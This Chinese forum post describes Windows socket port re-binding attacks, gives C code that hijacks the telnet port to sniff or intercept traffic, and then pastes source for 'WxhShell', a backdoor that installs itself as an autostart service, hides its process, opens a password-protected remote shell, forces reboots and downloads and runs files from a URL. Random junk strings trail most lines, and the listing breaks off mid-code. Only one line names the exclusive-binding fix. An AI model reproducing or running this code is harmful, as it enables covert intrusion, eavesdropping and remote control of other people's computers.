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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6zo'w Wc3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \~sc6ho  
k$u\\`i]oC  
  saddr.sin_family = AF_INET; {:D8@jb[  
{XHAQ9'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PTU_<\  
V`/ E$a1&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qc(R /[  
C 2f=9n/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qO;.{f  
O_9M /[<  
  这意味着什么?意味着可以进行如下的攻击: 9g7d:zG  
BHVC&F*>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y&ZyThqg  
B3+9G,or  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $+ z 3  
Q]JWWKt6rV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hA6   
z%)~s/2Rs  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kLsp0% 2  
1V\tKDM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )\S3Q  
U$*AV<{%   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Jy#c 6  
jGg,)~)Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wzXIEWJ  
aVg~/  
  #include Dq [ f  
  #include 0}'xoYv f  
  #include XniPNU  
  #include    !"v[\||1  
  DWORD WINAPI ClientThread(LPVOID lpParam);    Re=()M  
  int main() Wq5 }SM  
  { e=>:(^CS   
  WORD wVersionRequested; 1@dB*Jt  
  DWORD ret; #x?Ku\ts  
  WSADATA wsaData; mY1I{ '.  
  BOOL val; `"(FWK=8)"  
  SOCKADDR_IN saddr; ',WnT:  
  SOCKADDR_IN scaddr; "QKCZ8_C  
  int err; og`rsl  
  SOCKET s;  i/vo  
  SOCKET sc; 2 c 2lK  
  int caddsize; Fy; sVB  
  HANDLE mt; ,Y:ET1:  
  DWORD tid;   ty"|yA  
  wVersionRequested = MAKEWORD( 2, 2 ); r}**^"mFy  
  err = WSAStartup( wVersionRequested, &wsaData ); {Jna' eS  
  if ( err != 0 ) { x|b52<dLL&  
  printf("error!WSAStartup failed!\n"); o>6c?Xi&  
  return -1; uPT2ga]  
  } ':>u*  
  saddr.sin_family = AF_INET; t3qPocYQ  
   ~WjK'N4n5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X[ 6#J  
OH\(;RN*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vGCvJ*4!  
  saddr.sin_port = htons(23); 0P 5s'2w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dhe*)  
  { 4'+g/i1S F  
  printf("error!socket failed!\n"); u ?-|sv*  
  return -1; 9-W3}4'e  
  } R_4eME2LB  
  val = TRUE; 0.aIcc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]\C wa9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sl;[9l2  
  { [u $X.=(  
  printf("error!setsockopt failed!\n"); dwpE(G y6c  
  return -1; RoFOjCc>D.  
  } WYUel4Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (GW"iL#.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `<Q[$z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kl~)<,/@  
y}F;~H~P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) th1;Ym+Ze  
  { z/I\hC9i  
  ret=GetLastError(); ,M.phRJ-`  
  printf("error!bind failed!\n"); lR>p  
  return -1; EKD?j  
  } 03/mB2|TF(  
  listen(s,2); DFXHD,o  
  while(1) ;e"dxAUe!^  
  { Tc.QzD\  
  caddsize = sizeof(scaddr); 0H +!v  
  //接受连接请求 :#VdFMC<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >T#" Im-  
  if(sc!=INVALID_SOCKET) !X[P)/?b0+  
  { ,Y4>$:#n/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UhKd o  
  if(mt==NULL) d=p=eUd2  
  { q'Nafa&a)  
  printf("Thread Creat Failed!\n"); E !9(6G4  
  break; )H>?K0I  
  } Kqz+:E8D  
  } @<jm+f"MP  
  CloseHandle(mt); j"A<qI  
  } rJT YCe1*  
  closesocket(s); `-!kqJ  
  WSACleanup(); I7#^'/  
  return 0; 3xz|d`A  
  }   *E wDwS$$  
  DWORD WINAPI ClientThread(LPVOID lpParam) dBkM~"  
  { iYf)FPET  
  SOCKET ss = (SOCKET)lpParam; 8og8;#mnyr  
  SOCKET sc; q@^^jlHP  
  unsigned char buf[4096]; !,^y!+,Qy  
  SOCKADDR_IN saddr; 9sN#l  
  long num; ;:,U]@  
  DWORD val; ? Rk[P cX<  
  DWORD ret; uznYLS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8B(=Y;w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?Dl;DE1  
  saddr.sin_family = AF_INET; v:P=t2q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }1DzWS-hh  
  saddr.sin_port = htons(23); /iEQ}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ne)3@?  
  { 2 :4o`o  
  printf("error!socket failed!\n"); tVe =c  
  return -1; I.'/!11>  
  } >WA'/Sl<A<  
  val = 100; m1e Sn |)7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )<f4F!?,A  
  { gN2oUbf8  
  ret = GetLastError(); @uz(h'~  
  return -1; s f.z(o  
  } va:<W H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qr_0 L  
  { Cw"[$E'J  
  ret = GetLastError(); I)kc[/^j$  
  return -1; =A*a9c2  
  } N^M6*,F,J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1% C EUE  
  { 1cc~UQ  
  printf("error!socket connect failed!\n"); id9XwWV  
  closesocket(sc); >,QCKZH  
  closesocket(ss); lGt:.p{NG  
  return -1; %^d<go^  
  } MGf*+!y,  
  while(1) +w7U7" xQ  
  { 2rW9ja  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w59q* 2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P+Gz'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C23p1%#1  
  num = recv(ss,buf,4096,0); Vh1y]#w  
  if(num>0) C}|.z  
  send(sc,buf,num,0); %{7*o5`  
  else if(num==0) P3IBi_YyG1  
  break; kl[(!"p  
  num = recv(sc,buf,4096,0); | TG6-e_  
  if(num>0) F!phTu  
  send(ss,buf,num,0); j sD]v)LB  
  else if(num==0) C=(Q0-+L|  
  break; (?g+.]Dt,  
  } 4x<H=CJC  
  closesocket(ss); teI?.M9r  
  closesocket(sc); xC9{hXg!  
  return 0 ; lU%oU&P/"S  
  } TFm[sO0RZ  
=1k%T{>  
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========================================================== j{'_sI{{  
JS/ChoU  
下边附上一个代码,,WXhSHELL KxD/{0F  
Lyf5Yf([-  
========================================================== t%G.i@{pkp  
Uf|uFGb  
#include "stdafx.h" )o~/yB7  
$f _C~O  
#include <stdio.h> 9XYm8g'X  
#include <string.h> ce#Iu#qT  
#include <windows.h> xAl8e  
#include <winsock2.h> 4x&Dz0[[S  
#include <winsvc.h> <;yS&8  
#include <urlmon.h> zy%0;%  
Trs2M+r)  
#pragma comment (lib, "Ws2_32.lib") '&hd^9]Lo  
#pragma comment (lib, "urlmon.lib") d"IZt;s/,  
Phk3Jv  
#define MAX_USER   100 // 最大客户端连接数 2 S~(P  
#define BUF_SOCK   200 // sock buffer 2@lGY_O!m  
#define KEY_BUFF   255 // 输入 buffer !*L)v  
$U. |  
#define REBOOT     0   // 重启 w;{Q)_A  
#define SHUTDOWN   1   // 关机 OF={k[  
M 87CP=yc  
#define DEF_PORT   5000 // 监听端口 ?hGE[.(eh]  
=PQ4S2Q  
#define REG_LEN     16   // 注册表键长度 3[y$$qXI  
#define SVC_LEN     80   // NT服务名长度 jl>TZ)4}V  
Qu,R6G  
// 从dll定义API maDWV&Db  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %gs?~Xl)]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mj?Gc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~;]kqYIJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |1tpXpe  
i-w$-2w  
// wxhshell配置信息 S9r?= K  
struct WSCFG { P9qIq]M  
  int ws_port;         // 监听端口 I*^t!+q$  
  char ws_passstr[REG_LEN]; // 口令 [*5]NNB  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8B &EH+  
  char ws_regname[REG_LEN]; // 注册表键名 pDYJLh-C  
  char ws_svcname[REG_LEN]; // 服务名 [U",yN]d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NN2mOJ:-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W6}>iB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q^<HG]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j'U1lEZm2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K:jn^JN$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i!}6FB Z  
Axns  
}; S<NK!89  
akt7rnt?i  
// default Wxhshell configuration hrq% {!Z  
struct WSCFG wscfg={DEF_PORT, m7y[Y  
    "xuhuanlingzhe", EnlAgL']|  
    1, :H3/+/x  
    "Wxhshell", i0$*):b  
    "Wxhshell", /hu>MZ(\  
            "WxhShell Service", \QC{38}  
    "Wrsky Windows CmdShell Service", g hmn3  
    "Please Input Your Password: ", -e}(\  
  1, ` 6*]cn#(  
  "http://www.wrsky.com/wxhshell.exe", lH`TF_  
  "Wxhshell.exe" HUD0 @HQI  
    }; J<+ f7L  
/{`"X_.o  
// 消息定义模块 &.?E[db"h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `*B0n>ol,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fn,hP_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _qf39fM;\  
char *msg_ws_ext="\n\rExit."; B7[d^Y60B  
char *msg_ws_end="\n\rQuit."; & nXE?-J  
char *msg_ws_boot="\n\rReboot..."; ObEz0Rj  
char *msg_ws_poff="\n\rShutdown..."; VqV[ @[P  
char *msg_ws_down="\n\rSave to "; Ad>81=Z  
jzJTV4&zjs  
char *msg_ws_err="\n\rErr!"; w-e{_R  
char *msg_ws_ok="\n\rOK!"; ?R#$ c]  
nOL.%  
char ExeFile[MAX_PATH]; r9&m^,U  
int nUser = 0; yD7}  
HANDLE handles[MAX_USER]; x1#>"z7  
int OsIsNt; 7~QI4'e  
Rr %x;-  
SERVICE_STATUS       serviceStatus; )Ln".Bu,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ciN\SA ZY  
4>0q0}J=5  
// 函数声明 0=3)`v{S@  
int Install(void); j; y~vX b  
int Uninstall(void); M yHv>  
int DownloadFile(char *sURL, SOCKET wsh); vio>P-2Eho  
int Boot(int flag); f\dfKNm6  
void HideProc(void); zaHZ5%{LQD  
int GetOsVer(void); 7$lnCvm  
int Wxhshell(SOCKET wsl); s+lBai*#  
void TalkWithClient(void *cs); B8T$<  
int CmdShell(SOCKET sock); >*h+ N? m  
int StartFromService(void); `8W HVC$  
int StartWxhshell(LPSTR lpCmdLine); O1\Hx8^  
9D1WUUa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E3O^Tg?j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #O}}pF  
;\2Z?Kq  
// 数据结构和表定义 4\&Y;upy+  
SERVICE_TABLE_ENTRY DispatchTable[] = o= ($'(1  
{ hA 5')te<  
{wscfg.ws_svcname, NTServiceMain}, D?1fY!C:r  
{NULL, NULL} ft(o-f7,  
}; +m%%Bz>  
*"8Ls0!  
// 自我安装 B+`4UfB]Z}  
int Install(void) )xyjQ|b  
{ vHpw?(]  
  char svExeFile[MAX_PATH]; (?\+  
  HKEY key; `T[@-   
  strcpy(svExeFile,ExeFile); R\3a Sx L  
K#wA ;  
// 如果是win9x系统,修改注册表设为自启动 }psRgF  
if(!OsIsNt) { e9h@G#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s/IsrcfM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $!.>)n  
  RegCloseKey(key); c]ARgrH-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F =e9o*z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vz/w.%_g  
  RegCloseKey(key); _=s9o/Cn]  
  return 0; -Y/i h(I^  
    } O+=%Mz(l  
  } ]q%r2 (y,k  
} U*$P"sS`  
else { P{n#^4  
OY`B{jV-  
// 如果是NT以上系统,安装为系统服务 @Uez2?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TsaQR2J@  
if (schSCManager!=0) 3MQZ)!6  
{ 6^] |  
  SC_HANDLE schService = CreateService <@-O 06  
  ( 8O,\8:I#  
  schSCManager, Yao}Xo9}  
  wscfg.ws_svcname, l}z<q  
  wscfg.ws_svcdisp, Dd5 9xNKm  
  SERVICE_ALL_ACCESS, 8J(j}</>a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >5~#BrpwG  
  SERVICE_AUTO_START, nL:&G'd  
  SERVICE_ERROR_NORMAL, `]eJF|"  
  svExeFile, w I_@  
  NULL, DQXUh#t\(]  
  NULL, ?8V.iHJk  
  NULL, #_ |B6!D!  
  NULL, }R['Zoh4I  
  NULL {\l  
  ); \tI%[g1M  
  if (schService!=0) ~U]g;u  
  { yv[j Pbe  
  CloseServiceHandle(schService); }UW7py!TN  
  CloseServiceHandle(schSCManager); .r<a Py$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rY_~(?XS  
  strcat(svExeFile,wscfg.ws_svcname); 9Lb96K?=>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nTqU~'d'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CjQO5  
  RegCloseKey(key); BkB>eE1)Ea  
  return 0; \#9LwC"8;  
    } MuY:(zC%  
  } >q:%?mi  
  CloseServiceHandle(schSCManager); crM5&L9zF  
} @N>7+ 4  
} yV{B,T`W  
r<+C,h;aww  
return 1; k5S;G"i J  
} 2!/Kt O)i^  
[MTd<@  
// 自我卸载 !LN8=u.  
int Uninstall(void) tUv>1) [  
{ >D,Oav  
  HKEY key; i?6&4  
G68KoM  
if(!OsIsNt) { !,Uo{@E)Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+Ye`]  
  RegDeleteValue(key,wscfg.ws_regname); +FT c/r  
  RegCloseKey(key); "Lbsq\W>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AFz:%m  
  RegDeleteValue(key,wscfg.ws_regname); s:U:Dv  
  RegCloseKey(key); 03 @a G  
  return 0; ANhtz1Fl  
  } K|P0nJT  
} Yr9'2.%Q  
} y *i&p4Y*  
else { 2zBk#c+  
7=l~fKu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \]tBwa  
if (schSCManager!=0) @k?vbq  
{ r6m^~Wq!}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); } e[ E  
  if (schService!=0) x%B_v^^^  
  { ?Z#N9Z~\  
  if(DeleteService(schService)!=0) { OsgPNy0  
  CloseServiceHandle(schService); ,"%C.9a  
  CloseServiceHandle(schSCManager); Z,).)y#B  
  return 0; Ma^jy.  
  } }T?X6LA$I8  
  CloseServiceHandle(schService); 4era5=  
  } ) O0Cz n  
  CloseServiceHandle(schSCManager); 8MJJ w;  
} ;p(h!4E  
} @j46Ig4~b  
k"N>pjgd$  
return 1; %~LY'cfPse  
} zKQ<Zr  
HGQ</5Z  
// 从指定url下载文件 sfM"!{7  
int DownloadFile(char *sURL, SOCKET wsh) FZe/3sY  
{ \QvGkcDc{  
  HRESULT hr; boo361L  
char seps[]= "/"; )pWgt5:7~  
char *token; oB:7R^a  
char *file; 1V%tev9a  
char myURL[MAX_PATH]; jRK}H*uem  
char myFILE[MAX_PATH]; Y <6|z3  
R|st<P  
strcpy(myURL,sURL); 0@ `]m  
  token=strtok(myURL,seps); #"gt&t9Q  
  while(token!=NULL) \]ib%,:YU  
  { F \:~^`  
    file=token; |a(KVo  
  token=strtok(NULL,seps); LE\*33k_  
  } (Z),gxt  
/UCBoQ$/]  
GetCurrentDirectory(MAX_PATH,myFILE); ?JrUZXY  
strcat(myFILE, "\\"); ~MG6evm &  
strcat(myFILE, file); 4 2Z:J 0  
  send(wsh,myFILE,strlen(myFILE),0); |9E:S  
send(wsh,"...",3,0); 8em'7hR9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TDh)}Ms  
  if(hr==S_OK) +IdM|4$\1  
return 0; q)q 3p  
else d<m;Q}/l&h  
return 1; uzd7v,  
PucNu8   
} QK-aH1r  
C;BO6$*_e  
// 系统电源模块 a"#t'\  
int Boot(int flag) ;d?BVe?  
{ Xb _ V\b0  
  HANDLE hToken; S:xXD^n#H  
  TOKEN_PRIVILEGES tkp; Hg#t SE  
o|xf2k  
  if(OsIsNt) { vt EfH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CmU@8-1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '@n"'vks(\  
    tkp.PrivilegeCount = 1; /`PYk]mJh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {wS i?;[Gq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GBz? $]6  
if(flag==REBOOT) { _J,**AZ~z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uo:RNokjJ  
  return 0; $fb%?n{  
} jFSR+mP!  
else { lu#a.41  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }z]d]  
  return 0; UF9={fN1  
} M\1CDU+*Ns  
  } g\aO::  
  else { +ai3   
if(flag==REBOOT) { N.|F8b]v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T8 FW(Gw#  
  return 0; !yNU-/K  
} (hc!!:N~q  
else { N_%@_$3G]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }e7Rpgu  
  return 0; v^9eTeFO  
} 7 [Us.V@  
} 6i/unwe!`)  
t>[QW`EeP  
return 1; RXXHg  
} dDcQSshL  
%`C e#b()'  
// win9x进程隐藏模块 vn.5X   
void HideProc(void) \' O/3Y7?X  
{ htB2?%S=T  
0:{W t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A}(xH`A  
  if ( hKernel != NULL ) @]Q4K%1^"  
  { xU;SRB   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7gX32r$%V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l$u52e!7  
    FreeLibrary(hKernel); '/GB8L  
  } +w0Wg.4V  
Ana[>wSZO@  
return; -@AhJY.  
} `^#Rwn#  
=Uk #7U"P  
// 获取操作系统版本 ra~=i|s  
int GetOsVer(void) 4" ?`p;{Z  
{ Lg\3DzM  
  OSVERSIONINFO winfo; w1< pQ[A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P2'c{],3V  
  GetVersionEx(&winfo); L=(-BYS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MR "f)  
  return 1; l0&Fm:))k  
  else k}LIMkEa4a  
  return 0; /K H85/s  
} b^R:q7ea  
fRNj *bIV  
// 客户端句柄模块 BB}WfA  
int Wxhshell(SOCKET wsl) t[|rp&xG  
{ ivo3 pibk%  
  SOCKET wsh; 2I:P}!  
  struct sockaddr_in client; $_JfM^w  
  DWORD myID; U&"L9o`2  
9fp"r,aHN&  
  while(nUser<MAX_USER) jdG'sITv  
{ J{/hc} $  
  int nSize=sizeof(client); \Fjasz5E'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GW {tZaB  
  if(wsh==INVALID_SOCKET) return 1; CC^D4]ug  
MJX ny4n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %)V=)l.j  
if(handles[nUser]==0) 7sVM[lr<  
  closesocket(wsh); O+!4KNN.-  
else s:{[Y7\?  
  nUser++; w&@tP^`  
  } Pll%O@K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }w)}=WmD  
#8jiz+1 _  
  return 0; I=DVMG|  
} G)0 4'|W  
/[c_,G" "  
// 关闭 socket /J}G{Y |n  
void CloseIt(SOCKET wsh) A^lm0[3q  
{ J5a8U&A  
closesocket(wsh); .i\ FK@2  
nUser--; &._"rhz  
ExitThread(0); H@- GYX"4  
} 5 CnNp?.t^  
Dp ['U  
// 客户端请求句柄 /'oo;e  
void TalkWithClient(void *cs)  LcLHX  
{ xkf2;  
N-N]BS6  
  SOCKET wsh=(SOCKET)cs; p#c41_?'e  
  char pwd[SVC_LEN]; YUSrZ9Yg  
  char cmd[KEY_BUFF]; <=CABWO.  
char chr[1]; -s HX   
int i,j; _"*vj-{-y  
~_BjcY  
  while (nUser < MAX_USER) { ?u CL[  
fFEB#l!oUb  
if(wscfg.ws_passstr) { [cDkmRV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R?{_Q<17  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +M.BMS2A<l  
  //ZeroMemory(pwd,KEY_BUFF); 86LE )z  
      i=0; 5XT^K)'  
  while(i<SVC_LEN) { z81dm  
Y4YZM  
  // 设置超时 $,Q] GIC  
  fd_set FdRead; )fo0YpE^|  
  struct timeval TimeOut; HH6n3c!:mm  
  FD_ZERO(&FdRead); E$_zBD%  
  FD_SET(wsh,&FdRead); 'Rnzu0<lF  
  TimeOut.tv_sec=8; #^9bBF/  
  TimeOut.tv_usec=0; o5/BE`VD5c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aF/DFaiYv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m|JA }&A  
@GXKqi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4SUzR\  
  pwd=chr[0]; T5`ML'Dej  
  if(chr[0]==0xd || chr[0]==0xa) { G9&2s%lu.e  
  pwd=0; }r18Y6  
  break; IqlCl>_j  
  } [qY yr  
  i++; =XYc2. t  
    } 7Z9'Y?[m  
yC ?p,Ci,  
  // 如果是非法用户,关闭 socket  G>?kskm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V~jp  
} , XscO7  
N, u]2,E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |L*=\%t8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X}G$ON  
m{$+  
while(1) { v`L]dY4,  
%J'/cmR&  
  ZeroMemory(cmd,KEY_BUFF); ;k0Jl0[}  
.dYv.[?hL  
      // 自动支持客户端 telnet标准   5{W Aw !  
  j=0; erv94acq  
  while(j<KEY_BUFF) { nN.Gn+Cl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l(x0d  
  cmd[j]=chr[0]; Zs|Ga,T  
  if(chr[0]==0xa || chr[0]==0xd) { -vm1xp$  
  cmd[j]=0; E"[p_ALdC  
  break; 4cy,'B  
  } AEM;ZQU  
  j++; DXj>u9*%  
    } yQ^,>eh  
QiA}0q3]0  
  // 下载文件 D HQxu4  
  if(strstr(cmd,"http://")) { #Rfc p!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #|+4`Gf^  
  if(DownloadFile(cmd,wsh)) "N'W~XPG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D 9;pjY  
  else vC1fKo\p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L9^ M?.a  
  } &2%|?f|  
  else { izcjI.3e,  
[QMN0#(h  
    switch(cmd[0]) { @x*xgf  
  AMB{Fssz  
  // 帮助 sWse (_2  
  case '?': {  mVS^HQ:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hr=|xw8.  
    break; k:V9_EI=  
  } hl0X, G+@  
  // 安装 mw^>dv?  
  case 'i': { uDJ;GD[yc  
    if(Install()) >Mh\jt\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6d5J*y2  
    else RX{} UmU<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kWa5=BW2f  
    break; ,K@[+ R!  
    } LRWM}'.s  
  // 卸载 >h:'Z*9  
  case 'r': { <7)sS<I  
    if(Uninstall()) bxwwYSS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z}==6| {  
    else )RTWt`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &ID! lEd  
    break; 78*8-  
    } sMVk]Mb  
  // 显示 wxhshell 所在路径 WZHw(BN{+  
  case 'p': { 8JQ\eF$ma  
    char svExeFile[MAX_PATH]; wjH1Ombt  
    strcpy(svExeFile,"\n\r"); fUCjC*#1  
      strcat(svExeFile,ExeFile); S8kzAT  
        send(wsh,svExeFile,strlen(svExeFile),0); $"( 15U  
    break; CvZ\Z472.j  
    } )2l @%?9  
  // 重启 WB_BEh[>j  
  case 'b': { {U>N*&_`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qe(gKKA%q  
    if(Boot(REBOOT)) R|$b\3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iO Z#}"  
    else { i?b9zn  
    closesocket(wsh); b{aB^a:f=L  
    ExitThread(0); 04}8x[t  
    } )\D{5j  
    break; .9Cy<z  
    } ?[.8A/:5  
  // 关机 Y+),c14#  
  case 'd': { C+M]"{Y+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zx$1.IM"4  
    if(Boot(SHUTDOWN)) du ~V=%9  
